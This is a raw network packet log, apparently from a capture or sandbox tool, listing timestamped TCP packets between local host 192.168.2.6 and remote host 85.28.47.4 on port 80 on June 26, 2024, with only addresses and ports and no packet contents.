Jun 26, 2024 08:16:23.780668974 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780682087 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780698061 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780700922 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780714035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780729055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780733109 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780745029 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780745983 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780761003 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780776024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780781984 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780800104 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780819893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780836105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780850887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780864954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780879974 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780889988 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780889988 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780889988 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780895948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780911922 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780926943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780936003 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780947924 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780960083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780976057 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780987978 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780991077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.781116962 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.781138897 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.781138897 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.781146049 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.781162977 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.781213045 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.781228065 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.795649052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.795672894 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.795689106 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.795702934 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.795727968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.795738935 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.795743942 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.795761108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.795770884 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.795777082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.795794964 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.795811892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.795820951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.795835018 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.795842886 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.795862913 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.795878887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.795917988 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.795917034 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.795917034 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.795933962 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.795949936 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.795958042 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.795973063 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.795988083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796005964 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796010971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796027899 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796041012 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796056032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796061993 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796061993 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796083927 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796091080 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796098948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796113968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796128988 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796130896 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796154976 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796160936 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796175957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796190977 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796205997 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796221018 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796235085 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796251059 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796263933 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796264887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796264887 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796264887 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796281099 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796299934 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796308994 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796324968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796345949 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796349049 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796349049 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796361923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796381950 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796386957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796408892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796422958 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796426058 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796446085 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796459913 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796475887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796475887 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796475887 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796509981 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796525955 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796526909 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796541929 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796570063 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796583891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796624899 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796636105 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796636105 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796636105 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796641111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796657085 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796677113 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796689987 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796704054 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796721935 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796736956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796744108 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796751976 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796771049 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796772957 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796793938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796806097 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796816111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796819925 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796833038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796849012 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796864033 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796878099 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796880007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796895981 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796912909 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796914101 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.796931982 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.796969891 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.797019958 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.886426926 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.891364098 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.061744928 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.061775923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.061784983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.061800003 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.061809063 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.061841965 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.061841965 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.061880112 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.061882973 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.061898947 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.061902046 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.061934948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.061943054 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.061949015 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.061953068 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.061958075 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.062037945 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.062057018 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062060118 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062062979 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062077999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062086105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062093973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062136889 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.062161922 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062170029 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062181950 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062181950 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.062200069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062208891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062225103 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.062269926 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.062269926 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.062463999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062473059 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062488079 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062495947 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062504053 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062527895 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062536955 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062551022 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062560081 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062566996 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062572956 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.062572956 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.062575102 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062597036 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062599897 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.062604904 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062621117 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062629938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062644958 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062659979 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.062659979 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.062663078 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062670946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062680960 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062688112 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062695980 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062704086 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062711954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062721014 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.062752008 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.062752008 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.062758923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062767982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062783957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062792063 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062808037 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062815905 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062834024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062844038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062832117 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.062861919 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.062889099 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062897921 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.062917948 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.062917948 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.062963009 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.063088894 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063097954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063105106 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063112020 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063118935 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063133955 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063138962 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.063143969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063152075 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063159943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063167095 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063167095 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.063175917 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063191891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063219070 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.063266039 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063273907 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063280106 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.063281059 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063288927 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063296080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063314915 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063323021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063337088 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063339949 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.063339949 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.063345909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063363075 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063371897 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063379049 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.063379049 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063389063 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063397884 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063421011 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.063421011 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.063436985 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.063492060 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.063607931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063616037 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063623905 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063640118 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063647985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063662052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063666105 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.063669920 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063695908 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063704014 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063718081 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.063718081 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063718081 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.063728094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063735008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063741922 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063747883 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.063749075 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063757896 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063771009 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063777924 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063786983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063802004 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063811064 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.063826084 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.063826084 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.063826084 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.063914061 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.064035892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.064054012 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.064076900 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.064086914 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.064095020 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.064105034 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.064112902 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.064117908 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.064121008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.064127922 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.064131021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.064146996 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.064155102 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.064169884 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.064177990 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.064193010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.064201117 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.064203024 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.064203024 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.064203024 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.064209938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.064220905 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.064249992 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.064287901 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.150341034 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150355101 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150362968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150369883 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150381088 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150398970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150408030 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150414944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150423050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150438070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150438070 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.150448084 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150465012 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150492907 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.150500059 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150501966 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.150510073 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150518894 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150542974 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.150579929 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.150579929 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.150589943 CEST	80	49713	85.28.47.4	192.168.2.6
